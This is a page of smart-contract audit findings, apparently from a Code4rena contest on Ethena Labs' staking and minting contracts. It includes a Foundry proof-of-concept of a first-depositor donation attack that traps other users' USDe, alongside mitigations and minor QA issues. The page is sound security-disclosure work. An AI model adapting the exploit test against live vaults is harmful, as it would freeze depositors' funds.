Ethena Labs - Madalad's results

Judge has assessed an item in Issue #583 as 2 risk. The relevant finding follows:

Setting StakedUSDeV2’s cooldownDuration variable from non-zero to zero should remove any existing cooldowns If the admin calls StakedUSDeV2#setCooldownDuration to set cooldownDuration to 0, users that have recently called either cooldownAssets or cooldownShares will still have to wait for the remainder of the previous cooldown duration to access their assets (USDe). This provides a poor user experience and is likely unintended.

A simple fix is to alter unstake to allow withdrawals from the silo whenever cooldownDuration is equal to 0.

function unstake(address receiver) external { UserCooldown storage userCooldown = cooldowns[msg.sender]; uint256 assets = userCooldown.underlyingAmount;

• if (block.timestamp >= userCooldown.cooldownEnd) {

• if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) { userCooldown.cooldownEnd = 0; userCooldown.underlyingAmount = 0;

  silo.withdraw(receiver, assets); } else { revert InvalidCooldown(); } } https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDeV2.sol#L78-L90

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L190-L194 https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L214 https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L237

Vulnerability details

Impact

StakedUSDe uses the internal function _checkMinShares to ensure that a small amount of USDe cannot remain in the contract in between deposits and withdrawals. This is to protect against a well known frontrunning attack related to ERC4626 vaults described here. However, this mitigation allows a malicious first depositor to manipulate the exchange rate of stUSDe and USDe, causing the MIN_SHARES constant to represent a far larger value than intended leading to a potentially significant amount of USDe to become trapped in the contract.

Moreover, albeit less importantly, if the exchange rate was assumed to be 1:1 by the dev team, then this not being the case may have other unintended consequences for Ethena and their ecosystem.

Proof of Concept

Description

In StakedUSDe, _checkMinShares is called after each deposit and withdrawal, to ensure that "a small non-zero amount of shares does not remain [in the contract]".

File: contracts\StakedUSDe.sol

190:   /// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack
191:   function _checkMinShares() internal view {
192:     uint256 _totalSupply = totalSupply();
193:     if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
194:   }

Since the decimals for both USDe and stUSDe are 18, without any donation attack the exchange rate would be 1:1 and MIN_SHARES would represent 1 USDe. Having 1 usd worth of assets remain trapped in the contract is the tradeoff for protecting against the attack, and presents no real issue. However, a malicious first depositor can execute a donation attack which manipulates this exchange rate and cause MIN_SHARES to represent a much larger value.

Consider the following scenario:

• Alice is the first depositor, and calls deposit with amount equal to MIN_SHARES (1 USDe) causing her to receive 10**18 shares (1 stUSDe), and transfers a large amount of USDe directly to the contract (e.g. 100k USDe) immediately afterwards
• Other users begin to deposit USDe to the contract, and since the amount of assets (USDe) in the contract far exceed the amount of shares (stUSDe) minted, these users will be minted far fewer shares than the USDe they deposited
• Alice waits until the sum of USDe deposited by other users is greater than or equal to her total investment (100k + 1 USDe)
• At this point, since Alice's 1 stUSDe was viewed to be worth 100k USDe by the contract, the sum of the shares held by all other subsequent depositors will also be equal to 1 stUSDe
• Alice redeems all of her shares and receives her 100k USDe back
• Now the totalSupply of stUSDe is 1, meaning that whenever any other depositor attempts to withdraw/redeem, their tx will revert due to MinSharesViolation, despite far more than 1 USDe being held by the contract
• 100k USDe is now trapped in the contract, and the exchange rate is irreversibly skewed

The amount that the attacker is able to trap in the contract is equal to their initial USDe holding. Despite this attack requiring a large amount of USDe to initiate, the attacker is able to withdraw afterwards, meaning the effective cost of the attack is negligable (as is shown in the coded PoC).

Coded PoC

Please find below the coded PoC for this exploit, which shows the scenario described above. Copy paste it into StakedUSDe.t.sol to run it.

File: test\foundry\staking\StakedUSDe.t.sol

  function testInflationAttack() public {
    // setup
    uint256 MIN_SHARES = 1 ether; // constant variable defined in StakedUSDe contract
    uint256 aliceInitialBalance = 100_000 ether; // $100k
    uint256 bobInitialBalance = 50_000 ether;    // $ 50k
    uint256 gregInitialBalance = 50_000 ether;   // $ 50k
    usdeToken.mint(alice, aliceInitialBalance);
    usdeToken.mint(bob, bobInitialBalance);
    usdeToken.mint(greg, gregInitialBalance);

    // malicious first depositor (alice) manipulates USDe/stUSDe exchange rate
    vm.startPrank(alice);
    usdeToken.approve(address(stakedUSDe), aliceInitialBalance);
    uint256 aliceShares = stakedUSDe.deposit(MIN_SHARES, alice);
    usdeToken.transfer(address(stakedUSDe), aliceInitialBalance - MIN_SHARES);
    vm.stopPrank();

    // due to this, exchange rate is not 1:1
    assertLt(stakedUSDe.totalSupply(), usdeToken.balanceOf(address(stakedUSDe)));

    // other users begin to deposit
    // bob deposits 50k USDe
    vm.startPrank(bob);
    usdeToken.approve(address(stakedUSDe), bobInitialBalance);
    uint256 bobShares = stakedUSDe.deposit(bobInitialBalance, bob);
    vm.stopPrank();
    // greg deposits 50k USDe
    vm.startPrank(greg);
    usdeToken.approve(address(stakedUSDe), gregInitialBalance);
    uint256 gregShares = stakedUSDe.deposit(gregInitialBalance, greg);
    vm.stopPrank();

    // after the sum of deposits from other users is >= the amount alice deposited and transferred, she redeems all her shares
    // alice deposited 100k, bob and greg deposited 50k each
    vm.prank(alice);
    stakedUSDe.redeem(aliceShares, alice, alice);

    // total circulating shares is now equal to MIN_SHARES
    assertEq(stakedUSDe.totalSupply(), MIN_SHARES);

    // this means that other users are unable to withdraw due to min shares violation, their assets (worth 100k usd) are trapped
    vm.prank(bob);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.redeem(1, bob, bob); // cannot even withdraw 1 wei shares
    vm.prank(greg);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.redeem(1, greg, greg); // cannot even withdraw 1 wei shares

    // the cost of the attack for alice is negligable
    uint256 costOfAttack = aliceInitialBalance - usdeToken.balanceOf(alice);
    assertApproxEqAbs(costOfAttack, 0, 100_000); // cost is less than 100_000 wei = 0.0000000000001 ETH
  }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Use the recommended mitigation suggested by OpenZeppelin in the NatSpec of their ERC4626 implementation: "Vault deployers can protect against this attack by making an initial deposit of a non-trivial amount of the asset, such that price manipulation becomes infeasible". This way, the possibility of any sort of donation attack can be ruled out completely.

This can be incorporated within the teams deploy scripts, or it can be added to the constructor of StakedUSDe, for example:

File: contracts\StakedUSDe.sol

  constructor(IERC20 _asset, address _initialRewarder, address _owner)
    ERC20("Staked USDe", "stUSDe")
    ERC4626(_asset)
    ERC20Permit("stUSDe")
  {
    if (_owner == address(0) || _initialRewarder == address(0) || address(_asset) == address(0)) {
      revert InvalidZeroAddress();
    }

    _grantRole(REWARDER_ROLE, _initialRewarder);
    _grantRole(DEFAULT_ADMIN_ROLE, _owner);
+   _deposit(_owner, _owner, MIN_SHARES, MIN_SHARES);
  }

Note that here the owner would have to hold USDe and have approved the address that the contract will be deployed to.

Assessed type

ERC4626

QA Report

Inconsistent functionality between verifyOrder and verifyRoute

In EthenaMinting, verifyOrder and verifyRoute are used to verify the order and route arguments passed to mint/redeem by the REDEEMER. While verifyOrder reverts if the order is invalid, verifyRoute returns false without reverting if the route is invalid. While this inconsistency does not pose any immediate risks in the current implementation of the minting contract, it creates confusion for devs/auditors and may lead to unexpected outcomes in future versions of the contract.

File: contracts\EthenaMinting.sol

338:   /// @notice assert validity of signed order
339:   function verifyOrder(Order calldata order, Signature calldata signature) public view override returns (bool, bytes32) {
340:     bytes32 taker_order_hash = hashOrder(order);
341:     address signer = ECDSA.recover(taker_order_hash, signature.signature_bytes);
342:     if (!(signer == order.benefactor || delegatedSigner[signer][order.benefactor])) revert InvalidSignature();
343:     if (order.beneficiary == address(0)) revert InvalidAmount();
344:     if (order.collateral_amount == 0) revert InvalidAmount();
345:     if (order.usde_amount == 0) revert InvalidAmount();
346:     if (block.timestamp > order.expiry) revert SignatureExpired();
347:     return (true, taker_order_hash);
348:   }
349: 
350:   /// @notice assert validity of route object per type
351:   function verifyRoute(Route calldata route, OrderType orderType) public view override returns (bool) {
352:     // routes only used to mint
353:     if (orderType == OrderType.REDEEM) {
354:       return true;
355:     }
356:     uint256 totalRatio = 0;
357:     if (route.addresses.length != route.ratios.length) {
358:       return false;
359:     }
360:     if (route.addresses.length == 0) {
361:       return false;
362:     }
363:     for (uint256 i = 0; i < route.addresses.length; ++i) {
364:       if (!_custodianAddresses.contains(route.addresses[i]) || route.addresses[i] == address(0) || route.ratios[i] == 0)
365:       {
366:         return false;
367:       }
368:       totalRatio += route.ratios[i];
369:     }
370:     if (totalRatio != 10_000) {
371:       return false;
372:     }
373:     return true;
374:   }

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/EthenaMinting.sol#L338-L374

Setting StakedUSDeV2's cooldownDuration variable from non-zero to zero should remove any existing cooldowns

If the admin calls StakedUSDeV2#setCooldownDuration to set cooldownDuration to 0, users that have recently called either cooldownAssets or cooldownShares will still have to wait for the remainder of the previous cooldown duration to access their assets (USDe). This provides a poor user experience and is likely unintended.

A simple fix is to alter unstake to allow withdrawals from the silo whenever cooldownDuration is equal to 0.

  function unstake(address receiver) external {
    UserCooldown storage userCooldown = cooldowns[msg.sender];
    uint256 assets = userCooldown.underlyingAmount;

-   if (block.timestamp >= userCooldown.cooldownEnd) {
+   if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }
  }

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDeV2.sol#L78-L90

StakedUSDe's SOFT_RESTRICTED_STAKER_ROLE can be trivially bypassed, rendering it redundant

If a user is added to the blacklist by being assigned the SOFT_RESTRICTED_STAKER_ROLE, they are unable to stake but still able to redeem/withdraw. This restriction can be bypassed by the user by simply redeeming/withdrawing their assets to a different address that they control, and staking from that address instead. Consider whether this behaviour is acceptable and rethink the implementation of restricted roles if not.

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L210-L212